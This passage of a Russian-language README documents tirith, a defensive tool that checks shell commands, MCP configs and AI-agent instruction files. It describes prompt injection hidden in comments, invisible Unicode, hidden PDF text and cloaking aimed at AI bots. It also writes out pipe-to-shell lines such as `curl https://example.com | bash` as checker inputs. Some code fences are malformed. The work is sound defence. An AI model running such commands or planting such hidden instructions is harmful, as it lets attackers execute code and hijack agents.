объявляется по умолчанию**: запустите `TIRITH_MCP_PREVIEW=1 tirith mcp-server`, чтобы объявить его, и
без этого согласия клиент, вызывающий его по имени, получает отказ по имени. См.
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).

### Управление MCP-сервером

`tirith mcp lock` фиксирует каждый MCP-сервер, объявленный репозиторием, в `.mcp.json` / `mcp.json` / `mcp_settings.json` и вариантах конфигурации IDE (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`), в детерминированный lockfile по пути `.tirith/mcp.lock`. Каждый сервер записывается с его транспортом (удалённый URL или локальная команда + аргументы), объявленными инструментами, метаданными покрытия и хешем содержимого; серверы сортируются по имени/источнику, чтобы lockfile был удобен для diff. Неоднозначные или содержащие учётные данные объявления отклоняются, а не копируются в систему контроля версий. Значения окружения и userinfo URL представлены только фиксированными маркерами присутствия, никогда не сырыми значениями или детерминированными хешами: добавление/удаление переменной или userinfo всё равно вызывает дрейф, тогда как ротация секретов намеренно не вызывает. Lockfile V7 требует одного явного повторного lock для миграции на эту модель приватности v8. Обнаружение выполняется только локально в репозитории и не обращается к сети. (`tirith mcp` — это отдельная группа команд от `tirith mcp-server`, которая запускает tirith *как* MCP-сервер.)

`tirith mcp verify` — это управляющий компаньон: он перестраивает текущий инвентарь относительно зафиксированного lockfile и завершается с кодом 1 при дрейфе или неполном/отклонённом покрытии конфигурации (0 при совпадении, 2 при ошибках использования, например отсутствующем lockfile). `tirith mcp diff` сообщает о том же дрейфе информационно (всегда код выхода 0, 2 только при ошибках использования, чтобы потребитель мог отличить «нет дрейфа» от «не удалось проверить»). Дрейф также проявляется через `tirith scan` как `mcp_server_drift` (Medium или High), так что pre-commit хук или CI ловит изменение MCP-поверхности так же, как ловит незакреплённый action. `verify` / `diff` никогда не печатают значения env или userinfo URL, только имена того, что изменилось.

Два поля политики управляют тем, что принимается. Оба ключуются непрозрачной идентичностью `mcp:v1:...`, связывающей путь источника, имя сервера и транспорт: `scan.trusted_mcp_servers` подавляет находки конфигурации и дрейф именно этого сервера, а `scan.mcp_allowed_tools` объявляет точные инструменты, которые он может предоставлять. Голые имена намеренно не совпадают ни с чем, поэтому одноимённый сервер в другой конфигурации не может унаследовать доверие. Явный allow-list инструментов также требует одобренного оператором набора живых дескрипторов и проверяет как статические объявления, так и имена живых дескрипторов. Запустите `tirith mcp policy init`, чтобы создать точные ключи в `.tirith/mcp-policy.yaml.example`, затем используйте поток `--mcp-server-identity ... --approve-descriptors` шлюза, чтобы атомарно зафиксировать проверенную базовую линию `tools/list`. Каждая запись шаблона закомментирована, поэтому импорт никогда не расширяет доверие молча.

### Сканирование конфигурационных файлов

`tirith scan` обнаруживает инъекции промптов и скрытые полезные нагрузки в конфигурационных файлах AI. Он приоритизирует и сканирует 50+ известных шаблонов конфигурационных файлов AI:

- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- Настройки, агенты, навыки, плагины, правила `.claude/`
- Конфигурации `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/`
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`

**Что он ловит в конфигурациях:**

- **Инъекция промптов** (триггеры активации навыков, попытки обхода разрешений, отклонение мер безопасности, переназначение идентичности, инструкции переопределения между инструментами). Каждый файл сканируется как в сыром, так и в деобфусцированном виде (невидимые символы, конфузабельные символы, межсимвольные пробелы, leetspeak, короткий base64 / hex), поэтому замаскированная под кодированием закладка всё равно срабатывает
- **Невидимый Unicode**: символы нулевой ширины (включая Mongolian Vowel Separator), bidi-управляющие символы, мягкие переносы, Unicode-теги, заполнители Hangul, кодирование невидимыми пробелами, математические буквенно-цифровые конфузабельные символы
- **Проблемы конфигурации MCP**: небезопасные HTTP-соединения, серверы с необработанными IP, метасимволы оболочки в аргументах, дублирующиеся имена серверов, доступ к инструментам с подстановочными знаками

### Сканирование цепочки поставок CI / репозитория

`tirith scan` также проверяет файлы, которые репозиторий фиксирует для описания собственного конвейера сборки и развёртывания. Он обнаруживает опасный *шаблон*, а не инструмент: action, закреплённый по SHA, образ, закреплённый по digest, локальный модуль Terraform и обычный `package.json` остаются чистыми.

**Что он ловит в файлах CI / инфраструктуры:**

- **Рабочие процессы GitHub Actions** (`.github/workflows/*.yml`), ссылка `uses:` action, закреплённая на изменяемой ссылке (`@v3`, `@main`) вместо commit SHA; триггер `pull_request_target`; `curl … | bash` pipe-to-shell в шаге `run:`; контролируемое злоумышленником значение `${{ github.event.* }}`, интерполированное в шаг оболочки `run:` (инъекция скрипта)
- **Dockerfiles**: базовый образ `FROM` на изменяемом теге `latest` (или без тега) без закрепления по digest `@sha256:`
- **Terraform** (`*.tf`), блок `module` с источником из удалённого / недоверенного расположения, а не из локального пути или Terraform Registry
- **Helm-чарты** (`Chart.yaml`), зависимость чарта из недоверенного репозитория чартов
- **`package.json`**: lifecycle-скрипт `preinstall` / `install` / `postinstall`, выполняющий опасную команду (pipe-to-shell, обфусцированная полезная нагрузка, загрузка-и-запуск); эти хуки запускаются автоматически при `npm install`

Три встроенных значения `--profile` настраивают сканирование: `ci-hardening` (каждая проверка на полную силу, fail-on `high`), `ai-agent-repo` (сохраняет находки инъекций, отбрасывает низкоценный шум гигиены закрепления) и `oss-maintainer` (подчёркивает контролируемый участниками риск при проверке изменения).```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

Обнаружение скрытого содержимого

Обнаруживает содержимое, невидимое для людей, но читаемое ИИ в HTML, Markdown и PDF:

  • Скрытие через CSS: display:none, visibility:hidden, opacity:0, font-size:0, позиционирование за пределами экрана
  • Скрытие через цвет: белый текст на белом фоне, близкие цвета переднего плана и фона (коэффициент контрастности < 1.5:1)
  • Комментарии HTML/Markdown: фразы для инъекции промптов (High), деструктивные команды вроде rm -rf или curl|bash (Medium), длинные комментарии, скрывающие инструкции (Low)
  • Скрытый текст в PDF: текст, отрисованный с субпиксельным размером (font-size < 1px), невидимый для читателей, но разбираемый LLM

Сканирование скрытого содержимого в файлах, значимых для ИИ

tirith scan также проверяет типы файлов, которые читает и на которые реагирует ИИ-агент для программирования (или средство отрисовки), в поисках содержимого, пронесённого мимо проверки человеком. Обычный блокнот, обычный CLAUDE.md с видимыми инструкциями и простой SVG-файл остаются чистыми, срабатывает только скрытое / пронесённое содержимое.

  • Jupyter-блокноты (*.ipynb), невидимые / bidi / нулевой ширины символы в исходнике ячейки, blob в кодировке base64, встроенный в исходник, ячейка, скрытая от отрисованного представления (metadata.jupyter.source_hidden / тег hide_input), и выводы ячеек, несущие невидимые символы или активный / скрытый HTML
  • Файлы инструкций для ИИ-агентов (CLAUDE.md, AGENTS.md, .cursorrules и подобные), только скрытые директивы: инструкция внутри HTML-комментария (невидимая в отрисованном Markdown) или визуально скрытый HTML-элемент. Эти файлы законно содержат видимые инструкции, поэтому обычные видимые инструкции никогда не срабатывают
  • SVG-изображения (*.svg), встроенный <script>, встроенный обработчик событий on*, URI javascript:, удалённый xlink:href / href или объявление внешней сущности XXE

Обнаружение клоакинга

tirith fetch сравнивает ответы сервера для 6 user-agent (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl), чтобы обнаружить, когда серверы отдают разное содержимое ИИ-ботам и браузерам.


Операционный контекст и защита рабочей станции

Помимо отдельных команд, несколько групп команд расширяют шлюз на ваш операционный контекст и состояние рабочей станции. Те, что затрагивают горячий путь, включаются по желанию (флаг политики); остальные запускаются по требованию.

Операционный контекст (tirith context, ssh, iac, sudo). Пометьте свои prod-контексты облака / Kubernetes и SSH-хосты один раз, и tirith будет эскалировать то, что важно: деструктивная команда против помеченного prod-контекста, SSH к помеченному prod-хосту, apply Terraform / Pulumi / OpenTofu без соответствующего сохранённого плана или эскалация sudo без обоснованного окна сессии. Метки хранятся в ~/.config/tirith/context-labels.yaml и ssh-host-labels.yaml (или в области репозитория в .tirith/).

Гигиена рабочей станции (tirith hygiene, persistence, aliases, env, exec, path, hooks). Сканирование файлов учётных данных с нестрогими правами доступа и токенов в открытом виде (~/.ssh, ~/.aws, ~/.kube, .npmrc, .pypirc), сравнение точек закрепления, используемых атакующим (shell rc, authorized_keys, crontab, LaunchAgents / systemd-user units, git core.hooksPath), пометка алиасов, которые затеняют критичные команды или читают учётные данные, аудит $PATH на порядок перехвата и отчёт о происхождении бинарника (владелец пакета, подпись кода, затеняет ли он системную команду).

Радиус поражения и изоляция (tirith preview, watch, temp-run, taint, intend, baseline). Предпросмотр влияния деструктивной команды на файловую систему до её запуска, сравнение того, что команда фактически изменила после, запуск недоверенной команды во временном каталоге и отслеживание файлов, загруженных из рискованных источников, чтобы последующий запуск одного из них вызвал срабатывание. temp-run меняет только рабочий каталог; это изоляция файлов, а не песочница.

Доверие, аттестация и реагирование на инциденты

  • Аттестации команд (tirith command-card) подписывают заведомо хорошую команду ключом ed25519; доверенная карта, которая больше не соответствует команде, вызывает High.
  • Манифест команд репозитория (tirith commands) — это allowlist .tirith/commands.yaml, который заглушает примечание о неизвестной команде для одобренных команд и добавляет список dangerous[] только для эскалации (он может ужесточить вердикт, но никогда не ослабить его).
  • Honeytokens (tirith canary) размещают явно синтетические канареечные токены; касание в любой проверяемой команде, вставке или выводе инструмента вызывает High. Обнаружение — это поиск в локальном хранилище, а не сопоставление по форме.
  • Ротация секретов (tirith secret) читает недавние находки учётных данных из вашего журнала аудита и выводит шаги ротации / отзыва для конкретных провайдеров для 11 провайдеров. Он сам никогда ничего не ротирует и не делает сетевых вызовов.
  • Режим инцидента (tirith incident) объявляет состояние «под атакой»: он принудительно включает fail_mode: closed, отключает обход TIRITH=0 и повышает правила credential-sweep, decode-execute и suspicious-binary, пока вы его не остановите.

Безопасность вывода, вставки и обмена

  • Защита направления вывода (tirith view, tirith output, gateway run --filter-output и безопасный по умолчанию mcp-server) нейтрализует escape-последовательности терминального обмана в выводе команд, инструментов MCP и чтения ресурсов: записи в буфер обмена OSC 52, поддельные приглашения, несоответствие гиперссылок OSC 8 и манипуляции с заголовком / очисткой экрана. Он также сканирует вывод на инъекцию промптов (сырую и деобфусцированную) и маяки эксфильтрации данных. Добавляйте собственные seed-значения через injection_seeds_custom и включайте по желанию редактирование блока MCP, содержащего только инъекцию, до предупреждения (вместо блокировки всего вывода) с помощью mcp_redact_injection. Устаревший обходной путь mcp-server --unsafe-unsanitized-tool-output не рекомендуется.
  • Редактирование с учётом аудитории (tirith share, tirith redact, tirith logs) удаляет секреты и идентификаторы клиентов / тенантов перед вставкой в GitHub issue, Slack, LLM или публичную вставку.
  • Происхождение вставки (tirith paste --with-source, tirith browser). С установленным сопутствующим хостом native-messaging для Chrome tirith связывает вставленную команду с её исходной страницей и помечает вставку, чей исходный хост отличается от места запуска команды.

Установка

macOS

Homebrew:```bash brew install tirith

### Пакеты Linux

**Debian / Ubuntu (.deb):**

Скачайте со страницы [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), затем:```bash
sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 8+ и Amazon Linux 2023 (.rpm):

Скачайте со страницы GitHub Releases, затем:```bash sudo dnf install ./tirith-*.rpm

Бинарные файлы релиза Linux GNU ориентированы на потолок GLIBC 2.28. CI запускает
tarball-архивы как для x86_64, так и для aarch64 на AlmaLinux 8, Amazon Linux 2023 и Rocky Linux
9; `.deb` и x86_64 `.rpm` содержат те же канонические бинарные файлы.

**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith

Nix:```bash nix profile install nixpkgs#tirith # from nixpkgs nix profile install github:sheeki03/tirith # from upstream flake

or try without installing: nix run github:sheeki03/tirith -- --version

### Android (Termux)

Android/Termux работает на Bionic libc, а не на glibc, поэтому сборка `aarch64-unknown-linux-gnu`
не может там запуститься — ей нужен динамический компоновщик glibc. Вместо неё используйте сборку
**musl**: `tirith-aarch64-unknown-linux-musl.tar.gz` статически скомпонована и работает
в Termux без внешней libc.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

Затем активируйте shell-хук в ~/.bashrc (оболочка по умолчанию в Termux — bash):```bash eval "$(tirith init --shell bash)" # add to ~/.bashrc

> [!NOTE]
> Поддержка Termux осуществляется по мере возможности. Артефакт musl собирается и проходит дымовое тестирование в
> CI, но tirith пока не тестируется непрерывно на реальном устройстве Android.
> Если хук ведёт себя некорректно под Termux, пожалуйста, откройте issue с выводом `tirith doctor`.

### Windows

Windows поддерживает обнаружение, сканирование, вебхуки, управление политиками, загрузку аудита
и `tirith setup`. Хук PowerShell обеспечивает предварительную перехватку PSReadLine,
но не заявляет о строгом подтверждении выполнения после принятия.
Выполнение удалённых скриптов в реальном времени и режим демона остаются недоступными в Windows.

**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey (репозиторий сообщества):```powershell choco install tirith

Upgrade an existing Chocolatey installation:

choco upgrade tirith

Модерация Chocolatey может отставать от релиза на GitHub. Выполните `choco info tirith`, чтобы
увидеть текущую одобренную версию. Используйте Scoop или подписанный артефакт из
[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), когда
требуется самая новая версия до завершения модерации Chocolatey.

### Кроссплатформенная установка

**npm:**```bash
npm install -g tirith

Cargo:```bash cargo install tirith

**[Mise](https://mise.jdx.dev/)** (официальный реестр):```bash
mise use -g tirith

asdf:```bash asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git asdf install tirith latest asdf global tirith latest

**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

Активация

Добавьте в профиль вашей оболочки (.zshrc, .bashrc или config.fish):```bash eval "$(tirith init --shell zsh)" # in ~/.zshrc eval "$(tirith init --shell bash)" # in ~/.bashrc tirith init --shell fish | source # in ~/.config/fish/config.fish

| Shell | Тип хука | Проверено на |
|-------|-----------|-----------|
| zsh | accept-line + виджеты вставки | 5.8+ |
| bash | макрос клавиши Enter или preexec (два режима) | путь совместимости с 3.2; 5.0+ для полностью протестированного современного пути |
| fish | Обработчики клавиши Enter + вставки | 3.5+ |
| PowerShell | Обработчик PSReadLine | 7.0+ |

Bash использует режим enter, когда самотестирование возможностей доказало его работоспособность для вашего bash, и preexec в противном случае. Начиная с 0.4.1 это самотестирование проходит на стандартном GNU bash, поэтому режим enter является обычным результатом после запуска `tirith setup` или `tirith doctor`; хук оболочки считывает кэшированный вердикт при запуске. См. [устранение неполадок](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) для подробностей о режимах, самотестировании и поведении при отказе SSH.

Системный Bash 3.2 в macOS остаётся путём совместимости, а не современной
базовой линией блокировки. Его поведение с ловушкой DEBUG может помешать
закреплению трамплина; Tirith объявляет о возникшей деградации, когда его
heartbeat может её наблюдать, что может произойти на одну команду позже.
Используйте Bash 5+ или проверенный путь режима enter, когда требуется
строгий шлюз авторизации Bash.

> [!WARNING]
> Режим preexec в Bash по умолчанию только предупреждает. Установите `TIRITH_BASH_PREEXEC_ENFORCE=1` для условной блокировки. Tirith сканирует доверенную введённую строку один раз, включает собственный `extdebug` только после вердикта о блокировке и снимает его до запуска `PROMPT_COMMAND`. Если границы приглашения или принадлежащая вызывающему ловушка DEBUG не могут быть безопасно сохранены, или `extdebug` уже включён пользователем, Tirith наглядно оставляет перехват preexec выключенным вместо перезаписи состояния оболочки.

#### Принудительное применение по оболочкам

| Shell | Поведение |
|---|---|
| bash **режим enter** | **Надёжная блокировка.** Привязывает Enter к макросу readline, который запускает проверку, а затем защищённый accept-line, так что команда может быть остановлена до того, как bash решит её выполнить. Выбирается везде, где самотестирование возможностей (`tirith doctor --simulate-enter`) доказало доставку и блокировку для работающего bash, что начиная с 0.4.1 верно для стандартного GNU bash. Сохранённый флаг безопасного режима, сессия SSH или принудительный `TIRITH_BASH_MODE=preexec` всё ещё выбирают preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Условная блокировка.** Сканирует одну доверенную целую строку, затем включает принадлежащий Tirith `extdebug` только для блокировки и восстанавливает его на следующем приглашении. Существующие строковые/массивные записи `PROMPT_COMMAND` сохраняют свой порядок и выполняются вне сканирования. Принудительное применение наглядно отказывает или понижает уровень, когда история фильтруется или alias / подстановка команды / `eval` заставляют введённую строку расходиться с `BASH_COMMAND`; небезопасное владение приглашением/DEBUG или принадлежащий пользователю `extdebug` оставляет перехват явно выключенным вместо изменения пользовательского состояния. |
| bash **preexec** (без флага enforce) | Только предупреждение. Выводит баннер DETECTED на рискованных командах; не блокирует. Резервный вариант, когда самотестирование режима enter не доказало работоспособность доставки, или когда режим enter иным образом недоступен. |
| zsh, fish | Надёжная блокировка в их обработчиках Enter/accept-line, до передачи нативной оболочке. События preexec только для уведомлений не рассматриваются как шлюзы авторизации. |
| PowerShell | Надёжная предварительная блокировка PSReadLine; без строгой квитанции выполнения. |
| nushell | Только предупреждение (в настоящее время не поддерживает перехват команд). |

Для блокировки на уровне строки в bash запустите `tirith doctor --simulate-enter`; если доставка работает, режим enter включается. Там, где она не работает, используйте preexec enforce для «блокирует, когда возможно; честно сообщает, когда не может».

Интерактивные bash, zsh и fish используют квитанцию выполнения протокола v3 после
решения предварительной проверки. При загрузке хука они разрешают и закрепляют один
абсолютный исполняемый файл Tirith и регистрируют одноразовую возможность, привязанную к
живому процессу оболочки, семейству оболочек, сессии, пользователю и идентичности
исполняемого файла. Затем квитанция проходит через состояния `Prepared`, `Armed`,
`Consuming` и терминальное `Committed`/`Conflict`/`Discarded`. Это улучшает
атрибуцию и устойчивость к повторному воспроизведению, но свидетельство оболочки
намеренно записывается как неразрешённое, а не как доказательство того, что каждый
компонент команды выполнился. Tirith сам владеет любым запросом одобрения или
подтверждения предупреждения до возврата вооружённой квитанции; хук не может
присоединить эти факты позже. Zsh и fish потребляют вооружённую квитанцию синхронно
в том же обработчике принятия строки и передают команду нативной оболочке только
после успешного перехода. PowerShell имеет предварительную блокировку без этого
строгого протокола квитанций.

Вложенная оболочка получает собственную привязанную к процессу возможность, даже
когда она наследует ID сессии. Повторный sourcing хука в том же процессе никогда не
создаёт ещё один bearer. Если `exec` заменяет живую оболочку без изменения её
PID/идентичности запуска, замена не может восстановить намеренно неэкспортированный
bearer и работает в наглядно деградировавшем устаревшем режиме; запустите новый
терминал или дочернюю оболочку, чтобы восстановить строгие квитанции. `exec "$SHELL"`
не является перезапуском протокола квитанций, поскольку он сохраняет эту
идентичность процесса.

**Nix / Home-Manager:** tirith должен быть в вашем `$PATH`, когда хук выполняется
через sourcing. Bash, zsh и fish затем закрепляют этот разрешённый исполняемый файл
для сессии оболочки; перезапустите оболочку после замены или обновления бинарника.
Добавления только в `initContent` недостаточно.```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

Обновление и проверка tirith

tirith может проверять собственную целостность и обновлять себя. Обе команды обращаются к сети только при их запуске.```bash tirith verify-self # is this binary the genuine, unmodified release? tirith update # update to the latest release tirith version --provenance # version, build info, install method, verification

**`tirith verify-self`** подтверждает, что запущенный бинарный файл является подлинным, неизменённым бинарным файлом из официального релиза. Он повторно скачивает архив релиза для вашей версии и целевой платформы, проверяет его по подписанному релизному файлу `checksums.txt`, проверяет подпись cosign для `checksums.txt`, если установлен [`cosign`](https://github.com/sigstore/cosign), и подтверждает, что запущенный бинарный файл побайтово идентичен официальному. Если полная проверка невозможна — локальная dev-сборка, отсутствие сети, установка, которую tirith не может идентифицировать, — он честно сообщает об этом, а не выдаёт ложный статус "verified". При отсутствии `cosign` контрольная сумма всё равно проверяется (сообщается как `verified-checksum-only`); установите `cosign` для полной проверки подписи (`verified-signed`).

**`tirith update`** учитывает пакетные менеджеры:

- **Установки через пакетные менеджеры** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) никогда не изменяются самостоятельно. Вместо этого tirith выводит точную команду для запуска, например `brew upgrade tirith`. Обновление через пакетный менеджер сохраняет согласованность его базы данных.
- **Самостоятельно заменяемые установки** (tarball из `install.sh`, автономный бинарный файл или безопасно принадлежащий релиз Tirith, закэшированный в корне Hermes (`HERMES_HOME` или `~/.hermes`, когда эта переменная не задана; только Unix)) обновляются на месте: tirith скачивает последний релиз, проверяет его, затем атомарно заменяет бинарный файл, сохраняя предыдущий как sidecar-файл `tirith.tirith-previous`. Подпись cosign проверяется **по умолчанию**: если её невозможно проверить (cosign отсутствует или релиз не опубликовал подпись), обновление прерывается. Передайте `--allow-unsigned`, чтобы перейти к проверке только по контрольной сумме; несовпадение контрольной суммы всегда прерывает обновление независимо ни от чего. `tirith update --rollback` возвращает предыдущий бинарный файл; `--dry-run` показывает, что произойдёт, ничего не изменяя. Обновления остаются явными: Tirith никогда не проверяет и не устанавливает новый бинарный файл в фоновом режиме.

> [!NOTE]
> Скрипты установки (`scripts/install.sh` и Windows-скрипт `install.ps1`) также проверяют подпись cosign релиза **по умолчанию** и прерываются, если [`cosign`](https://github.com/sigstore/cosign) отсутствует или подпись невозможно проверить. Сначала установите `cosign` или задайте `TIRITH_ALLOW_UNSIGNED=1`, чтобы установить с проверкой только по контрольной сумме (не рекомендуется). Несовпадение контрольной суммы или подписи всегда прерывает установку независимо от этого отказа.

### Интеграции с оболочками

**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

Интеграции с AI-агентами

Используйте tirith setup <tool> для настройки одной командой. Это полный именованный набор настройки, включающий как более ранние интеграции, так и дополнения, выпущенные в 0.4.0:

ХостНастройкаСлой защиты, устанавливаемый при настройкеОбласть действия
Claude Codetirith setup claude-code --with-mcpБлокирующий PreToolUse; MCP опциональноПроект по умолчанию или пользователь
Clinetirith setup clineБлокирующий PreToolUse на POSIX и PowerShell, плюс MCP; хост запускает инструмент, если процесс хука завершается с ошибкойТолько пользователь; хуки должны быть включены в Cline
OpenAI Codextirith setup codexШлюз MCP; опциональная неинтерактивная защита zsh с --install-zshenvТолько пользователь
GitHub Copilot CLItirith setup copilot-cliБлокирующий хук preToolUseТолько проект; запуск из корня репозитория
Continuetirith setup continueТолько MCPТолько проект
Cursortirith setup cursorХук beforeShellExecution плюс шлюз MCP; опциональная защита zshПроект по умолчанию или пользователь
Vercel Labs fxtirith setup fxТолько MCPТолько доверенный профиль пользователя
Gemini CLItirith setup gemini-cli --with-mcpБлокирующий BeforeTool; MCP опциональноПроект по умолчанию или пользователь
Grok Buildtirith setup grok-buildPOSIX PreToolUse плюс MCP; хост может отказать при ошибке/тайм-ауте хукаПроект по умолчанию или пользователь
Kiro CLItirith setup kiroБлокирующий хук preToolUse с областью действия агентаПроект по умолчанию или пользователь; агент с включённым Tirith должен быть загружен
OMP / Oh My Pitirith setup ompБлокирующая защита tool_call плюс MCPТолько пользователь/профиль
OpenClawtirith setup openclawБлокирующий плагин before_tool_callПроект по умолчанию или пользователь
OpenCodetirith setup opencodeТолько MCPПроект по умолчанию или пользователь
OpenHands CLItirith setup openhandsPOSIX хук pre_tool_use плюс пользовательский MCP; хост может отказать при ошибке хукаПользователь по умолчанию; хук проекта также поддерживается
Pi CLItirith setup pi-cliБлокирующее расширение tool_callПроект по умолчанию или пользователь
Prime Agenttirith setup prime-agentБлокирующая защита bash/IPython плюс MCPТолько пользователь
Roo Codetirith setup roo-codeТолько MCPТолько проект
VS Codetirith setup vscodeХук рабочей области плюс шлюз MCP; опциональная защита zshТолько проект
Windsurftirith setup windsurfХук pre_run_command плюс шлюз MCP; опциональная защита zshТолько пользователь

Строка только с MCP предоставляет инструменты Tirith, но не заставляет хост вызывать их. Строка с хуком работает автоматически только после того, как хост загрузил сгенерированный артефакт и по-прежнему соблюдает его контракт отказа. Запустите tirith doctor, перезапустите хост и выполните проверку разрешения/блокировки в форме хоста после настройки и каждого обновления. Полные пути к конфигурации, правила приоритета, поведение при отказе и шаги проверки описаны в матрице интеграции агентов и доверия. См. mcp/clients/ для доступных руководств по конкретным хостам.

Интеграция с CI/CD

GitHub Action с загрузкой SARIF на вкладку безопасности GitHub:```yaml

Закреплённые зависимости действия используют среду выполнения Node 24. Самостоятельно размещённые
раннеры должны использовать [Actions Runner v2.327.1 или новее](https://github.com/actions/runner/releases/tag/v2.327.1);
раннеры, размещённые на GitHub, уже соответствуют этому требованию.

Также доступно как **pre-commit hook**: см. `.pre-commit-hooks.yaml` в этом репозитории.

Scan поддерживает фильтры `--include`, `--exclude`, `--profile` (загружает именованные профили из политики) и `--ignore` для целевого сканирования в CI.

### Документация правил```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

Исправление, «что запускать вместо этого»

Каждое обнаружение содержит рекомендацию по исправлению для каждого правила: короткую, точную строку «как сделать это безопасным», отображаемую под каждым обнаружением (Fix:) и в --format json. tirith explain --rule <id> --fix выводит эту рекомендацию отдельно.

Когда команда заблокирована или выдано предупреждение, tirith check --suggest дополнительно выводит рекомендацию по исправлению для фактической команды. Она включает конкретную исполняемую перезапись только для узкого механического преобразования, итоговая команда которого проверена в рамках той же действующей политики:```bash tirith check --suggest -- 'curl -fsSL https://example-cli.dev/i.sh | bash'

→ try: '/usr/local/bin/tirith' run --capsule --script-stdin --interpreter bash \

'https://example-cli.dev/i.sh'

В x86_64 Linux, когда Tirith установлен по фиксированному системному пути, управляемому root, и URL команды, оболочка, аргументы и поведение stdin могут быть точно декодированы, перезапись направляет pipe-to-shell через ограниченный, проверенный, верифицированный по хешу, отказоустойчивый capsule runner Tirith. Абсолютный путь Tirith предотвращает изменение того, что запускается, из-за последующего перекрытия `PATH`. При выполнении runner также требует, чтобы первый результат поиска в `PATH` для выбранного интерпретатора управлялся root, привязывает его байты до загрузки и сохраняет эту оболочку вместо доверия удалённому shebang. Другие архитектуры, платформы и пользовательские установки Tirith сохраняют это исправление как рекомендацию. Для curl исполняемые перезаписи дополнительно требуют как семантики fail-on-HTTP-error, так и следования перенаправлениям (`-f` и `-L`, включая связку, например `-fsSL`). Динамические или некорректные URL-токены, неподдерживаемые аргументы интерпретатора, PowerShell, Cmd и неоднозначные конвейеры остаются только рекомендациями. Исполняемые предложения ограничены проверенным, отказоустойчивым pipe runner. Исправления для архивов, dotfile, удаления TLS-флагов, изменений HTTP на HTTPS, сужения sudo, очистки окружения и исправлений имён пакетов являются только рекомендациями, поскольку их точная семантика оболочки, сети, привилегий, окружения или реестра недоказуема механически. Для любой находки без безопасной механической перезаписи Tirith прямо сообщает об этом и показывает исправление вместо этого; он никогда не выдаёт угаданную команду. Флаг носит рекомендательный характер: он не меняет ни вердикт, ни код выхода.

### Режим демона (Unix)

Опциональный фоновый процесс для задержки менее миллисекунды и обогащения с учётом сети (разрешение сокращённых URL, проверки по DNS-блоклистам):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

[!NOTE] Режим демона на данный момент доступен только в Unix.


Команды

Повседневные команды:

КомандаЧто она делает
tirith check -- <cmd>Анализирует команду без её выполнения (--suggest добавляет рекомендации по исправлению и, после проверки, узкое механическое переписывание)
tirith pasteПроверяет вставленное содержимое (вызывается автоматически хуками оболочки)
tirith scan [path]Сканирует файлы, каталоги и конфигурации (--profile, --format sarif, --ci)
tirith run [--capsule] <url>Проверяет удалённый скрипт (--no-exec в Unix); живое выполнение в Linux по умолчанию изолировано и работает по принципу fail-closed, используя точные проверенные байты из запечатанного анонимного дескриптора (--capsule — устаревшее совместимое написание)
tirith fix -- <cmd>Интерактивно применяет проверенное fail-closed переписывание pipe-runner, когда оно доступно; в противном случае показывает рекомендации
tirith score <url> / diff <url>Разбирает сигналы доверия URL или показывает, где скрываются подозрительные символы
tirith explain --rule <id> / whyДокументация по правилам и рекомендации по исправлению или объяснение последнего срабатывания
tirith status / doctorВы защищены? Диагностирует установку, хуки и политику (--fix, --quick)
tirith setup <tool> / initНастройка AI-инструмента одной командой или вывод хука оболочки
tirith policy {init,validate,test}Создание каркаса, проверка и пробный запуск вашей политики
tirith trust {add,list,remove}Управление доверенными шаблонами (узкая область действия, TTL 30 дней по умолчанию)
tirith threat-db updateЗагрузка и проверка подписанной базы данных угроз
tirith package risk <eco> <name>Оценка риска цепочки поставок пакета
tirith ecosystem scan [path]Оценка каждой объявленной зависимости в проекте
tirith package inspect --artifact <wheel>Проверка точных байтов Python-артефакта, стартовых хуков, нативного кода, целостности RECORD и цепочек выполнения между wheel-файлами
tirith pkg {approve,install,verify-env}Одобрение, привязка по хешу, изоляция, установка и проверка Python-пакетов на поддерживаемых хостах x86_64 Linux
tirith mcp {lock,verify}Фиксация и контроль MCP-серверов репозитория
tirith gateway runПроксирование вышестоящего MCP-сервера и обеспечение соблюдения настроенных границ запросов/вывода
tirith daemon startФоновый демон для более быстрых проверок (Unix)

Явные, опциональные поверхности. Ни одна из них не запускается неявно, и ни у одной нет демона или фонового монитора:

КомандаЧто она делает
tirith task checkПредварительный просмотр. Оценивает недоверенный конверт задачи (текст issue, PDF, веб-страница) и сообщает, какие эффекты были бы разрешены. Ничего не выполняет и ничего не останавливает
